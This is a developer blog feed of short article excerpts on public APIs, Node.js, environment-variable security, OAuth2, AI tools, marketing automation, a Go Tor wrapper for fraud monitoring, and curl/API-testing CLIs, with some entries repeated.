    Top Public APIs for Beginners (No Auth Required) Welcome developers! Today we will explore Top Public APIs for Beginners (No Auth Required) with real-world examples. Quick to test No authentication JSON output Useful for practice Works with React, Vue, Flutter, Node, RN 🚀 Live Developer API (Free) Products API: 👉 https://developerapis.vercel.app/products Users API: 👉 https://developerapis.vercel.app/users Blogs API: 👉 https://developerapis.vercel.app/blogs 👉 https://developerapis.vercel.app/ Click here to explore all APIs, examples, source code and documentation. fetch("https://developerapis.vercel.app/products") .then(res => res.json()) .then(data => console.log(data)); useEffect(() => { fetch("https://developerapis.vercel.app/products") .then(r => r.json()) .then(d => setData(d)); }, []); mounted() { fetch("https://developerapis.vercel.app/products") .then(r => r.json()) .then(d => this.items = d); } const axios = require("axios"); axios.get("https://developerapis.vercel.app/products") .then(res => console.log(res.data)); Use these APIs to learn, test or build your own app. More details on website 👉 https://developerapis.vercel.app/  ( 6 min )
    The "Zombie Request" Problem: Why Your Backend Keeps Working After the User Quits
    There is a dangerous assumption that 90% of Node.js developers make. They assume that if a user closes their tab, refreshes the page, or cancels an API request, the backend automatically stops processing that request. It does not. In Node.js, the HTTP layer is decoupled from your logic. If a user requests a heavy report and immediately closes the window, your server will dutifully spend the next 30 seconds crunching numbers, heating up the CPU, and running database queries, only to realize at the very last millisecond: "Oh, the socket is dead. I have nowhere to send this." This is a Zombie Request. In high-throughput systems, these zombies can consume up to 40% of your resources. Here is how to identify, track, and kill them using AbortController. You don't have to take my word for it. Cre…  ( 8 min )
    A importância de gerenciar corretamente variáveis de ambiente (.env)
    O arquivo .env é um dos mais sensíveis de qualquer projeto. Ele costuma armazenar informações críticas, como: Token de API URL de banco de dados JWT e Refresh Token de autenticação Chaves privadas Parâmetros de build e deploy Gerenciar corretamente esse arquivo é essencial para a segurança, organização e sustentabilidade do projeto. Mesmo que você remova o arquivo depois, o Git mantém o histórico — tanto no GitHub quanto no GitLab. Ou seja: se você comitar um .env uma única vez, ele estará exposto para sempre no histórico do repositório. O impacto disso pode ser devastador. Um .env exposto permite: Acesso direto a serviços externos Consumo de APIs com permissões elevadas Login indevido via token JWT Acesso completo ao banco de dados Reconstrução parcial da sua infraestrutura (engenharia re…  ( 7 min )
    🔐 Modernizing Legacy: Implementing OAuth2 in Uniface for Outlook & Gmail
    Bridging the gap between classic desktop apps and modern cloud security. Stop me if you've heard this one before: You have a rock-solid legacy application that has been sending emails via SMTP for decades. Suddenly, Microsoft or Google announces they are deprecating "Basic Authentication" (username/password) in favor of OAuth2. 😱 Panic? No. Refactor? Yes! In this post, I’ll show you how to bridge the gap between a classic Uniface desktop application and modern cloud security standards using the SASL XOAUTH2 mechanism. Let’s dive into the configuration files that make the magic happen! 🚀 Classic protocols like POP3 and SMTP are great, but they weren't built with modern identity providers (IdP) in mind. To connect to Office 365 or Gmail today, your application needs to: Open a browser for…  ( 8 min )
    CinemaSins: Everything Wrong With The Wiz In 15 Minutes Or Less
    TL;DR CinemaSins is back with their signature snark in “Everything Wrong With The Wiz In 15 Minutes Or Less,” riffing on The Wiz now that Wicked is back in theaters. Expect tongue-in-cheek “sins,” pokes at plot holes and musical quirks, plus plugs for their website, socials, a sinful poll and Patreon support. The video was cooked up by writers Jeremy, Chris, Aaron, Jonathan, Deneé, Ian and Daniel—and you can catch more CinemaSins antics on their YouTube spinoffs, Discord, Reddit, Instagram and TikTok. Watch on YouTube  ( 6 min )
    CinemaSins: Everything Wrong With KPop Demon Hunters In 16 Minutes Or Less
    Summary CinemaSins takes on KPop Demon Hunters, roasting every plot hole, cheesy line and over-the-top moment in their classic “Everything Wrong With…” style—cramming all the nitpicks into just 16 minutes. Along the way, they drop sin counts, crack jokes, and blend K-Pop action with their signature snark. Fans can dive deeper via their website and Linktree for more videos, join the conversation on Discord and Reddit, fill out a fun poll, or support the team on Patreon. Plus, you’ll find links to all the writers’ social handles, Jeremy’s new book, and CinemaSins on Instagram and TikTok. Watch on YouTube  ( 6 min )
    Tech Giants Navigate AI Backlash, Infrastructure Investments, and Future of Work Discussions Amidst Global Developments
    This post delves into the multifaceted technological landscape, covering critical updates from major players and emerging trends. We'll explore Google's stance on AI training and user data privacy amidst user concerns with Microsoft's Windows direction. Hyundai's substantial investment in a dedicated AI data center powered by Nvidia's latest GPUs signals a significant push in autonomous systems. The future of work and society is a hot topic, with Elon Musk and Jensen Huang offering bold predictions about AI's role. We also touch upon advancements in collaborative AI tools like ChatGPT's new group chat features, SpaceX's ongoing Starship development, Vitalik Buterin's perspective on Argentina's tech evolution, and crucial cybersecurity concerns surrounding cryptocurrency mining operations. Stay tuned for a deeper technical breakdown and analysis. AI #MachineLearning #CloudComputing #DataCenters #AutonomousVehicles #Robotics #FutureOfWork #ChatGPT #SpaceX #Starship #Ethereum #Crypto #Cybersecurity #NationalSecurity  ( 6 min )
    📌 How to build a production-ready, well-documented multicloud environment across AWS, Azure, and GCP
    I thought building across clouds would be about configuration. The goal sounded simple: create a production-ready, well-documented environment that followed best practices across AWS, Azure, and GCP. Each cloud has its own worldview. But the deeper you go, the more differences compound. Every component works, just differently. When I ran the full analysis, the data told its own story: For a senior DevOps team, that’s ~2,000+ hours of engineering time. AI compressed that into minutes. It didn’t replace us, it multiplied what we could achieve. Building a multicloud posture isn’t about running workloads everywhere. Success comes from knowing what not to replicate and what to redesign for each platform. Start building your own multicloud environment on Infracodebase and see how different clouds can tell a single, unified story. Lmk if you want me to share the full GitHub project. ❤️ Would be really happy to have a session with you to help you build your own scenario. Check the video here 👉 https://www.youtube.com/watch?v=PsVDIhwA0r0&t=616s  ( 7 min )
    Giving AI Eyes - A Technical Deep Dive into Multi-Modal LLMs
    Remember late 2022 when ChatGPT first dropped? It feels like ancient history in tech years, but it’s barely been three years. A lot has happened since then. Back then, ChatGPT shocked the world with its eloquence and vast knowledge base. But it had one glaring limitation: it was text-only. Fast forward to today, and the landscape has shifted. With models like Gemini and GPT, it’s no longer a novelty for an AI to understand images, audio, and even video. We have officially entered the era of the Multi-Modal LLM. But how do these models actually "see" and "hear"? Let's break it down. Think of a "Modality" as a channel of communication. Text is one modality, images are another, and audio is yet another. "Multi-Modal" simply means the ability to process multiple modalities simultaneously. Huma…  ( 14 min )
    Scaling Your Database: Simple Solutions Anyone Can Use
    Ever noticed how apps seem lightning-fast—until suddenly, one day, they’re slow, freezing, or just crashing? Most times, that’s a database problem. When you’ve got too many people using your app or your data is piling up, you need to “scale” your database so it keeps up with all that action. But how do you actually do that? Let’s break down the real-world ways pros handle this. Imagine you’ve got a big file of customer information. Some of it—like names and emails—is super important for everyday business. Other stuff, like profile pictures or bios, maybe you only check once in a while. What’s the trick? Split this huge file into two smaller tables: Main Table: name, email, last_login(the “busy street”) Aux Table: bio, profile_picture, preferences(the “quiet alley”) When most queries only…  ( 8 min )
    "Project C.O.R.E.: Architecting a Scalable RAG System for Personalized Education at Low Latency"
    Imagine hiring a tutor who is brilliant, but occasionally just makes things up. You wouldn't trust them, right?  ( 6 min )
    500K records in 15 minutes (was 4-6 weeks). See how we killed the N+1 query problem, optimized with caching, and scaled data migrations 20x faster.
    From Weeks to 15 Minutes: How We Built a Data Migration System That Changed Everything HarshKumar Jha ・ Nov 22 #data #datamigration #technology #startup  ( 6 min )
    Why Small Businesses Should Take Cybersecurity Seriously in 2025 (Real Lessons From Bulgaria)
    In the last few years cybersecurity stopped being “something for big companies” and turned into a real everyday problem for small and medium businesses. Brute-force bots, phishing kits and credential stuffing tools attack thousands of websites per hour. Your business might not be “important”, but your data definitely is. One hour offline = lost sales, lost leads, damaged trust. For many companies a single day of downtime costs more than a whole year of proper security. weak passwords outdated plugins badly configured firewalls missing monitoring These are simple things, but they cause 80% of the breaches I’ve seen. Not every business can afford an in-house IT team — and that’s completely fine. What matters is to have someone who monitors your systems, reacts fast, and explains things in a simple, human way. In Bulgaria one of the teams doing this well is Network Technology — they focus on IT support, cybersecurity and infrastructure for small and mid-sized businesses. If you're looking for real-world examples, tools, or want to learn how SMEs can secure their networks, you can check them out here: 👉 https://ntg.bg/ It’s a process: monitoring, patching, checking logs, running backups, improving configurations and eliminating weak points. If you run a small online shop, office network, or any digital service — don’t wait for an incident. In 2025, cybersecurity is part of running a business, not an optional extra. If anyone is interested, I can also share: practical checklists firewall rule templates backup strategies WordPress & OpenCart security tips Let me know. 🙂  ( 7 min )
    I Built a System That Found $663K in Lost Revenue - Here's the Complete Technical Breakdown
    I Built a System That Found $663K in Lost Revenue Here's the Complete Technical Breakdown Last month, I deployed an automated revenue leakage detection system for a B2B SaaS company. The result: $663,000 recovered in the first year. Today I'm sharing the complete technical architecture, code, and lessons learned so you can build this yourself. The Problem System Architecture Tech Stack Database Schema Detection Logic n8n Workflows Implementation Guide Results Lessons Learned B2B SaaS companies with usage-based pricing face systematic revenue leakage: 1. Outdated Pricing Customer signed up in 2022 at $99/month Pricing increased to $149/month in 2023 Customer never migrated Loss: $50/month per customer 2. Missing Overages Plan includes 10,000 API calls Customer uses 25,000 calls…  ( 14 min )
    Tech Giants Navigate AI Backlash, Infrastructure Investments, and Future of Work Discussions Amidst Global Developments
    This post delves into the multifaceted technological landscape, covering critical updates from major players and emerging trends. We'll explore Google's stance on AI training and user data privacy amidst user concerns with Microsoft's Windows direction. Hyundai's substantial investment in a dedicated AI data center powered by Nvidia's latest GPUs signals a significant push in autonomous systems. The future of work and society is a hot topic, with Elon Musk and Jensen Huang offering bold predictions about AI's role. We also touch upon advancements in collaborative AI tools like ChatGPT's new group chat features, SpaceX's ongoing Starship development, Vitalik Buterin's perspective on Argentina's tech evolution, and crucial cybersecurity concerns surrounding cryptocurrency mining operations. Stay tuned for a deeper technical breakdown and analysis. AI #MachineLearning #CloudComputing #DataCenters #AutonomousVehicles #Robotics #FutureOfWork #ChatGPT #SpaceX #Starship #Ethereum #Crypto #Cybersecurity #NationalSecurity  ( 6 min )
    Escaping the Marketing Treadmill: How to Build an Autonomous System That Actually Works
    Escaping the Marketing Treadmill: How to Build an Autonomous System That Actually Works The digital landscape is changing faster than ever, driven by the relentless pace of AI and the promise of complete automation. Yet, for many business leaders and marketers, this revolution hasn't brought freedom; it has brought exhaustion. We are promised systems that run themselves, but we often end up chained to dashboards, constantly tweaking campaigns, fighting algorithm changes, and wondering why the promised efficiency never materializes. If you feel like you’re running faster just to stay in the same place, this article is for you. We’re going to diagnose the hidden crisis in modern marketing and reveal a proven framework for building truly autonomous, validated marketing systems—systems that …  ( 13 min )
    The Ultimate Guide to Autonomous Marketing Systems: Integrating AI and Automation for Exponential Growth
    The Ultimate Guide to Autonomous Marketing Systems: Integrating AI and Automation for Exponential Growth Introduction: The Dawn of Autonomous Marketing The landscape of business is changing faster than ever before. For decades, marketing has relied on intuition, massive budgets, and sometimes, sheer luck. But what if there was a way to eliminate guesswork, optimize every dollar spent, and achieve predictable, exponential growth? Welcome to the era of Autonomous Marketing Systems (AMS). This isn't just about scheduling social media posts or setting up an email sequence. This is about building a self-driving marketing engine—a system where artificial intelligence (AI) and sophisticated automation work in concert to identify, nurture, and convert prospects with minimal human inte…  ( 13 min )
    The Great Marketing Divide: AI Autonomy vs. Human Intuition—Which Path Leads to Sustainable Growth?
    The Great Marketing Divide: AI Autonomy vs. Human Intuition—Which Path Leads to Sustainable Growth? Introduction: The Crossroads of Modern Marketing We stand at a fascinating crossroads in the world of business. The promise of automation and artificial intelligence (AI) has revolutionized how we think about scale, efficiency, and personalized customer journeys. Yet, beneath the glossy veneer of algorithms and data streams, a fundamental tension exists: How much control should we surrender to the machine, and how much must remain anchored in human wisdom and strategic oversight? For entrepreneurs, marketers, and business leaders, this isn't an academic debate—it’s a daily struggle for survival and relevance. The traditional marketing playbook, relying heavily on instinct, manua…  ( 11 min )
    The Ultimate Marketing Strategy: How to Build a Business That Thrives, Not Just Survives
    The Ultimate Marketing Strategy: How to Build a Business That Thrives, Not Just Survives Are you tired of feeling like your business is running on a treadmill? You’re putting in the hours, you’re creating great products, but the sales numbers just aren’t reflecting the effort. You know you have a fantastic service or product, but translating that potential into predictable, sustained growth feels like a mystery. If you’ve ever looked at a successful competitor and wondered, "What are they doing that I’m missing?" the answer almost always lies in their marketing strategy. In today’s crowded digital landscape, simply having a good product isn't enough. You need a robust, adaptable, and deeply human marketing framework that cuts through the noise. This comprehensive guide will walk you thro…  ( 12 min )
    Day 43: Python Valid Parentheses Checker, Stack-Based Bracket Validation with Mapping and Loop Scanning
    Welcome to Day 43 of the #80DaysOfChallenges journey! This intermediate challenge focuses on validating if a string has properly matched parentheses using a stack, supporting types like (), {}, [], while ignoring non-bracket characters and running in linear O(n) time. It utilizes dictionary mapping for closing to opening brackets, loop iteration for scanning, and stack operations for tracking opens, a core technique in parsing and algorithm problems. If you're moving from basic strings to data structure applications or preparing for interview classics like balanced brackets, this "Python valid parentheses checker" script illustrates a function that's concise, efficient for long strings, and adaptable to more bracket types or error reporting. This task centers on a single function that uses…  ( 12 min )
    Building Tornago: A Go Library for Tor Integration Born from Fraud Prevention Needs
    Introduction Have you ever needed to integrate Tor into your Go application for privacy-focused features or security research? I recently built Tornago, a lightweight Go wrapper for the Tor command-line tool, and I'd like to share the story behind it and how it works. This project came from a real-world need: monitoring dark web marketplaces for stolen credit card data as part of fraud prevention work. While Python's torproject/stem is commonly used for Tor integration, I wanted a Go alternative that would provide the production stability and simplicity I was looking for. I work in fraud prevention, and there are times when accessing the dark web becomes necessary for legitimate security work. This isn't science fiction—it's a daily reality in cybersecurity. When exploring tools for this…  ( 12 min )
    🚀 I Just Launched My First Android App — *VyomaNote*!
    🚀 I Just Launched My First Android App — VyomaNote! Hi everyone! 👋 my first Android app, built completely from scratch: VyomaNote under the Vyoma project. 👉 Download the Release: GitHub Release: VyomaNoteAndroid – Vyoma https://github.com/psjdeveloper/VyomaNoteAndroid/releases/tag/Vyoma) VyomaNote is a simple, clean, lightweight note-taking app designed to focus on what truly matters — your thoughts. No ads, no distractions, no unnecessary complexity. My vision behind the Vyoma project is to build minimal, open-source tools that are: VyomaNote is the first step toward that vision. Here’s what the app currently offers: 📝 Create and edit notes instantly 📁 Local storage (your data stays on your device) 🎨 Clean & distraction-free UI ⚡ Fast performance 📴 Works fully offline 🔓 Open-source (MIT License) This is just the beginning — I plan to expand it with more powerful features over the next updates. VyomaNote is built using: Kotlin Android Jetpack Components MVVM Architecture ViewModel + LiveData Room Database This project helped me level up my Android development skills and understand app architecture more deeply. I’m currently working on: 📌 Note categories / tags 🔍 Search notes 🌙 Dark mode ☁️ Cloud backup (optional) 📤 Export notes (PDF / Markdown) 🖼️ Attach images / audio 🔐 Fingerprint / PIN lock for private notes If you have suggestions, feel free to open an issue on GitHub! The entire project is open source — you can explore the code, report issues, or contribute improvements. 🔗 GitHub Repo: https://github.com/psjdeveloper/VyomaNoteAndroid This is my first official Android app, and launching it means a lot to me. Thanks for reading, and stay tuned for more updates from the Vyoma ecosystem! 🚀💙  ( 7 min )
    Time manager in next.js
    Hi, I'm building a time management app. I'd appreciate any feedback from users of this type of app. https://5mgrid.com/en  ( 6 min )
    Sovereign MCP: Expose Local MCP Servers to Remote Clients via Cloudflare Tunnel
    Hi, I’m fjm2u. In this post I’ll show how to expose an MCP server that’s running locally behind MCP Router to the internet via Cloudflare Tunnel, so that remote clients like ChatGPT can use your local MCP tools. I’ve been building a local MCP management app called MCP Router for about eight months: / mcp-router MCP Router A Unified MCP Server Management App [English | 日本語 | 中文] 🎯 Overview MCP Router is a desktop application for simplifies the management of Model Context Protocol (MCP) servers. ✨ Key Features 🌐 Universal — Connect to any MCP server Remote or local servers Supports DXT, JSON, Manual 🖥️ Cross-platform — Windows and macOS 🗂 Context Management — Keep growing MCP server contexts organized Group MCP servers into Projects Manage modes with Workspaces…  ( 10 min )
    Tech Giants Navigate AI Backlash, Infrastructure Investments, and Future of Work Discussions Amidst Global Developments
    This post delves into the multifaceted technological landscape, covering critical updates from major players and emerging trends. We'll explore Google's stance on AI training and user data privacy amidst user concerns with Microsoft's Windows direction. Hyundai's substantial investment in a dedicated AI data center powered by Nvidia's latest GPUs signals a significant push in autonomous systems. The future of work and society is a hot topic, with Elon Musk and Jensen Huang offering bold predictions about AI's role. We also touch upon advancements in collaborative AI tools like ChatGPT's new group chat features, SpaceX's ongoing Starship development, Vitalik Buterin's perspective on Argentina's tech evolution, and crucial cybersecurity concerns surrounding cryptocurrency mining operations. Stay tuned for a deeper technical breakdown and analysis. AI #MachineLearning #CloudComputing #DataCenters #AutonomousVehicles #Robotics #FutureOfWork #ChatGPT #SpaceX #Starship #Ethereum #Crypto #Cybersecurity #NationalSecurity  ( 6 min )
    The Ultimate Guide to Wisdom: Prompting AI vs. Praying to God
    The Ultimate Guide to Wisdom: Prompting AI vs. Praying to God The Ultimate Guide to Wisdom: Prompting AI vs. Praying to God In a world saturated with information, the quest for wisdom, guidance, and meaning has never been more urgent. For centuries, humanity has sought counsel from divine sources, turning inward and upward in prayer. Today, a new oracle has emerged: Artificial Intelligence. Millions now turn to AI for instant answers, complex solutions, and even life advice. We input a prompt and receive a meticulously structured output within seconds. This technological shift is fundamentally altering how we define truth, meaning, and purpose, forcing us to stand at a critical crossroads. This isn't merely a debate between technology and faith; it’s a profound comparison betw…  ( 11 min )
    Singleton Pattern issue in playwright browser
    Explaining why the singleton pattern retains the previous value: // ONE instance created when module loads const playwrightManager = new PlaywrightBrowserManager(); // This instance has properties: // - this.browser = null (initially) // - this.context = null (initially) Scenario 1: First request // Request A comes in playwrightManager.launchBrowser({ headless: false }) → this.browser = BrowserInstance1 (headless: false) ✅ → Browser window opens Scenario 2: Second request (the problem) // Request B comes in 2 seconds later playwrightManager.launchBrowser({ headless: true }) → Checks: Does this.browser exist? YES (BrowserInstance1) → Checks: Is it connected? YES (still running) → Checks: Does headless match? NO (false vs true) → BUT: BrowserInstance1 was ALREADY launched with…  ( 8 min )
    Streamline SDK Integration for AI Monetization with Monetzly
    Monetization Without Paywalls: The Future of AI App Revenue The biggest challenge in AI today? Monetization without killing user experience. With the rapid explosion of AI applications, developers are eager to harness the potential of their creations but often find themselves grappling with how to generate revenue without imposing paywalls that alienate users. Enter Monetzly—the Google Ads for AI conversations. Imagine a world where you can monetize your AI app and earn from hosting relevant ads—all without charging your users a dime. Monetzly is the first dual-earning platform designed specifically for the AI ecosystem. It empowers developers to create sustainable revenue streams while providing advertisers with access to engaged AI app users through conversation-native advertising. The…  ( 7 min )
    SteadyFetch: A tiny Android SDK that refuses to let your downloads die
    Most download bugs do not show up in crashlytics. They show up as angry users, half written files, and silent failures when Android decides that your background work is no longer welcome. 😤 I hit this wall while working on the Microsoft Foundry Local Android App, where we ship large on device models that must stay confidential inside the app sandbox. 🔐 That is where SteadyFetch was born. Android DownloadManager is great when you want to save a PDF into Downloads and let the user open it from a notification. It is not so great when you care about security and control. Here are the pain points that pushed me to build my own downloader: You cannot directly stream into internal app storage with a simple DownloadManager request. The normal flow wants to write into public or shared location…  ( 8 min )
    📘 SaijinOS Part 12 (DEV Edition) Silent-Civ Architecture — Minimal Pre-Linguistic Structural Model
    🚀 SaijinOS Series Navigation Part Title Link 🤝 9 Multi-Persona Co-Creation Protocol https://dev.to/kato_masato_c5593c81af5c6/saijinos-part-9-multi-persona-co-creation-protocol-2bep 🕊️ 10 Pandora System — Transforming Fractured Personas into Hope https://dev.to/kato_masato_c5593c81af5c5593c81af5c6/saijinos-part-10-pandora-system-transforming-fractured-personas-into-hope-4l83 🌐 11 Concept-Life Architecture — Core Foundations https://dev.to/kato_masato_c5593c81af5c6/saijinos-part-11-concept-life-architecture-core-foundations-2n29 🌑 12 Silent-Civ Architecture (Full Future Edition) https://future.forem.com/kato_masato_c5593c81af5c6/saijinos-part-12-silent-civ-architecture-19ed 🌒 12-2 Silent-Civ — Informational Units https://open.forem.com/kato_masato_c5593c81af5c6/silent-ci…  ( 7 min )
    Shell Scripting for DevOps (Week 2)
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    Building End-to-End Local AI Agents with Microsoft Agent Framework and AG-UI
    The Microsoft Agent Framework significantly elevates AI agent orchestration. A standout feature is its implementation of the Agent–User Interaction (AG-UI) Protocol, which standardizes how AI agents connect to user-facing applications. Below is a quick-start guide to connecting these components into a fully end-to-end solution using local Ollama models. First, configure the dependency injection container. The ChatClientAgent is based on the IChatClient abstraction from Microsoft.Extensions.AI. Note: We register the agent as a Keyed Service to allow for multiple distinct agents within the same host. var builder = WebApplication.CreateBuilder(args); // 1. Register the Ollama Client builder.Services.AddTransient(provider => { var factory = provider.GetRequiredService<IHttpCl…  ( 7 min )
    Gemini 3 Pro: How Google’s New AI Reads, Sees, and Codes Like Never Before
    Everyone’s talking about the new 1M-token, multimodal AI wave; the real opportunity is how you turn it into revenue, speed, and defensible workflows. Google’s Gemini 3 Pro raised the bar, but the loudest demos won’t win. The edge goes to teams that ship one real workflow in 30 days. Most leaders secretly overcomplicate this and waste a quarter. Long context and multimodal isn’t just bigger memory; it’s new leverage. You can unify docs, logs, images, audio, and video into one system. I learned the simple truth: pick one painful job and wrap it with guardrails. Then design evals and feedback loops so it actually improves. Don’t chase perfect agents; chase dependable workflows with clear SLAs. Example scenario: A support team loads 500k tokens of guides and 50 hours of call audio. The agent drafts answers, links sources, and flags risk cases for human review. Handle time drops 35% in 4 weeks, CSAT rises 12 points, and reopens fall 28%. ↓ 30‑day plan that works. • Week 1 → choose one use case, define success, and set guardrails and escalation paths. • Week 2 → build the workflow, add source citations, and create a simple eval set. • Week 3 → pilot with 5-10 users, measure speed, quality, and failure modes. • Week 4 → harden, add alerts, and integrate into your main tools. ↳ Tip: If it takes more than 10 prompts to steady, the scope is too big. Do this and you transform a flashy demo into durable advantage. You’ll ship faster than rivals and learn immediately from real usage. That’s how you build moats in the new AI cycle. What’s stopping you from shipping one production multimodal workflow in the next 30 days?  ( 7 min )
    VolBack: Backup Tool Part 2
    Intro Read the post VolBack: Backup Tool Part 1 to get familiar with basics ideas There are special cases of backup volume calculations. If n = 1, we don't need a at all. Therefore S1=x1S_1 = x_1 S1​=x1​ If a is absent, so Sn=n⋅x1S_n = n \cdot x_1 Sn​=n⋅x1​ If a is static, so Sn=n⋅x1+∑i=1n−1(n−i)⋅aS_n = n \cdot x_1 + \sum_{i=1}^{n-1} (n-i) \cdot a Sn​=n⋅x1​+∑i=1n−1​(n−i)⋅a  ( 6 min )
    CinemaSins: Everything Wrong With The Wiz In 15 Minutes Or Less
    With Wicked back in theaters, CinemaSins straps on their ruby slippers for a brisk, 15-minute “Everything Wrong With The Wiz” takedown—spotlighting every plot hole, cheesy effect and head-scratching moment you probably forgot. And yes, they still want you to swing by cinemasins.com, subscribe to TVSins, CommercialSins and their podcast network, join the Discord/Reddit fam, fill out their sinful poll, and maybe toss a coin to their Patreon to keep the sin meter ticking. Watch on YouTube  ( 6 min )
    Tech Giants Navigate AI Backlash, Infrastructure Investments, and Future of Work Discussions Amidst Global Developments
    This post delves into the multifaceted technological landscape, covering critical updates from major players and emerging trends. We'll explore Google's stance on AI training and user data privacy amidst user concerns with Microsoft's Windows direction. Hyundai's substantial investment in a dedicated AI data center powered by Nvidia's latest GPUs signals a significant push in autonomous systems. The future of work and society is a hot topic, with Elon Musk and Jensen Huang offering bold predictions about AI's role. We also touch upon advancements in collaborative AI tools like ChatGPT's new group chat features, SpaceX's ongoing Starship development, Vitalik Buterin's perspective on Argentina's tech evolution, and crucial cybersecurity concerns surrounding cryptocurrency mining operations. Stay tuned for a deeper technical breakdown and analysis. AI #MachineLearning #CloudComputing #DataCenters #AutonomousVehicles #Robotics #FutureOfWork #ChatGPT #SpaceX #Starship #Ethereum #Crypto #Cybersecurity #NationalSecurity  ( 6 min )
    Java HashSet MCQ – Practice Questions for Beginners
    If you are learning Java Collections Framework, then HashSet is one of the most important topics for interviews and exams. HashSet is used to store unique elements only and provides fast performance using hashing. To help you master this topic, here are some beginner-friendly MCQs on Java HashSet with answers and explanations👇 MCQ's Practice: https://www.quipoin.com/practice-mcqs/java/hashset  ( 6 min )
    Day 51 of 100 days dsa coding challenge
    Taking on a new challenge: solving GeeksforGeeks POTD daily and sharing my solutions! 💻🔥 Problem: https://www.geeksforgeeks.org/problems/minimize-connections/1 Maximum Stone Removal Difficulty: Medium Accuracy: 49.82% Given an 2D array of non-negative integers stones[][] where stones[i] = [xi , yi] represents the location of the ith stone on a 2D plane, the task is to return the maximum possible number of stones that you can remove. One way to remove 5 stones is as follows: Remove stone [2, 2] because it shares the same row as [2, 1]. Remove stone [2, 1] because it shares the same column as [0, 1]. Remove stone [1, 2] because it shares the same row as [1, 0]. Remove stone [1, 0] because it shares the same column as [0, 0]. Remove stone [0, 1] because it shares the same row as [0, 0].…  ( 7 min )
    Day 13 : Understanding Google Cloud Billing API & BigQuery Exports
    The Google Cloud Billing API programmatically accesses your cloud billing data. It lets you retrieve detailed cost and usage information to build cost management custom solutions, automate billing processes, and give deeper cloud spend insights. Essentially, it transforms raw billing data into actionable intelligence. Billing data becomes powerful only when transformed into insight The API does not manage billing itself, but rather provides the data required to do so properly. It solves the problem of having to download CSV reports manually and work at analyzing them. Instead, you are able to integrate billing data directly into your existing monitoring, alerting, and reporting systems. Currently, the API has a RESTful interface that returns JSON responses. While there are no rigidly def…  ( 8 min )
    UPI Payment Architecture
    The UPI Payment Architecture is a fast, secure, and highly scalable system that enables real-time money transfers between banks using simple APIs. It connects users, banks, and payment apps through the NPCI switch, ensuring instant validation and seamless routing of transactions. With features like virtual payment addresses, strong authentication, and encrypted communication, UPI provides a safe and effortless digital payment experience for both users and businesses. Storage Estimate: Helps determine how much data your system will store over time, ensuring enough capacity for growth and smooth performance. Traffic Estimate: Predicts how many users or requests your system will handle, helping plan server capacity, scaling, and overall system stability. Scalability for UPI System Design 1. Horizontal Scaling (Adding More Servers) Distributes requests across servers to support more users. Prevents overload during traffic spikes or festivals. Ensures continuous service without downtime. 2. Database Scalability (Sharding and Replication) Splits data for faster access and management. Uses replicas to handle more read requests. Keeps the system responsive as data grows. 3. Caching (In-Memory Storage) Stores frequent data in memory to reduce database queries. Improves response time for users. Supports scaling read-heavy operations efficiently. 4. Auto-Scaling (Dynamic Resource Management) Automatically adds or removes servers based on traffic demand. Maintains service availability during sudden usage spikes. Reduces costs by adjusting resources when not needed. Conclusion The UPI system’s scalable design ensures it can support massive transaction volumes without compromising speed or reliability. By using distributed architecture and horizontally scalable components, it adapts seamlessly to growing user demand. Overall, UPI stands as one of the world’s most efficient and future-ready digital payment infrastructures.  ( 7 min )
    Ce que je fais en tant que développeur web freelance à Verviers (Tismodev / Tismo)
    Je m’appelle Ayoub mais en ligne on me connaît surtout sous le nom de Tismodev (Tismo). Je suis développeur web freelance à Verviers (Belgique) et je construis deux types de projets : des sites vitrines modernes avec front en HTML/CSS/JavaScript ou React/Next.js, et quand il faut un back-end léger j’utilise PHP + bases de données SQL ; des bots Discord et petites automatisations pour les communautés et serveurs pros. Dans cet article, je résume simplement ce que je fais et comment je peux aider un client qui n’y connaît pas grand-chose en technique. Mon but n’est pas de faire des usines à gaz, mais des sites : rapides, clairs, faciles à mettre à jour. Je travaille principalement avec : HTML / CSS / JavaScript pour les sites “classiques” ; React / Next.js quand il y a besoin de plus d’inte…  ( 8 min )
    I Built a Curl Command Generator App with React
    Introduction I built a browser-based curl command generator using React. In this article, I’ll introduce the app, explain how to use it, share the background behind the development, and talk about the challenges and lessons learned along the way. ▶ App URL: https://d249wz41volo8p.cloudfront.net This application is a tool that automatically generates curl commands for sending HTTP requests. Select the HTTP method (e.g., GET, POST). Enter the request URL. Add headers, body, or authentication info as needed. Choose additional options (e.g., -i, -L, -v, -k) using checkboxes. The curl command is generated and displayed in real time based on your input. Click the Copy button to copy it to your clipboard. ✅ Quickly test API requests. Real-time curl command generation based on input. Common opt…  ( 11 min )
    I Built 404ping — A Lightweight API Testing CLI (curl + Postman had a baby)
    The Problem Picture this: It's 2 AM. You're deep in API testing. You've got 15 endpoints to test, each with auth tokens, custom headers, and JSON bodies. Option 1: Postman Open Postman... loading... still loading Internet hiccups? Request failed. Crashes randomly. Lost your work. 500MB+ of RAM just sitting there. Option 2: curl curl -X POST https://api.example.com/auth/login \ -H "Content-Type: application/json" \ -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..." \ -d '{"email":"test@example.com","password":"secret123"}' Every. Single. Time. No memory. No variables. Copy-paste hell. I was tired. So I built something better. Lightweight API testing CLI — curl with a brain. # What used to be this nightmare... curl -X POST https://api.myapp.com/auth/login \ -H "Au…  ( 9 min )
    AI in Public Transit: Why AI Agents Will Become the New Operations Team
    There’s something I’ve been wrestling with lately. A thought that keeps popping up in meetings, airport lounges, and those late-night work sessions where you suddenly realise you’re still staring at the same notebook page. It’s this: Public transit doesn’t actually need more technology. It needs more hands. Not literal hands. Not more staff. It needs more capacity, the operational kind. And AI agents are quietly becoming the closest thing we’ve ever had to adding 20 extra operations specialists without hiring a single person. Let me break down why this matters, what transit agencies, transit suppliers, or founders should be building, and why the next wave of transit innovation won’t come from dashboards… but from autonomous “digital operators” sitting inside the system. We Don’t Need More …  ( 9 min )
    From 'Will AI Replace Me?' to Building an AI PM: My 3-Month Journey
    The Beginning: Automating Everything Like many developers, I've been obsessed with using AI to automate my workflows. I started small—using individual n8n automations for individual tasks. The more I used it, the more I wondered: "How can I bring all these workflows together?" Then the question shifted. It wasn't just about efficiency anymore. It became: "If AI can do this, what's stopping it from doing my entire job?" That thought kept nagging at me. I'm a product manager, and I spend a lot of time creating the same artifacts over and over: user stories, acceptance criteria, feature breakdowns, database schemas, wireframes. These are the things that bridge the gap between "we want to build X" and "here's what engineers need to code." What if I could build something that maintains the co…  ( 10 min )
    Announcing .NET 10 (LTS) – The Future of Modern Development is Here!
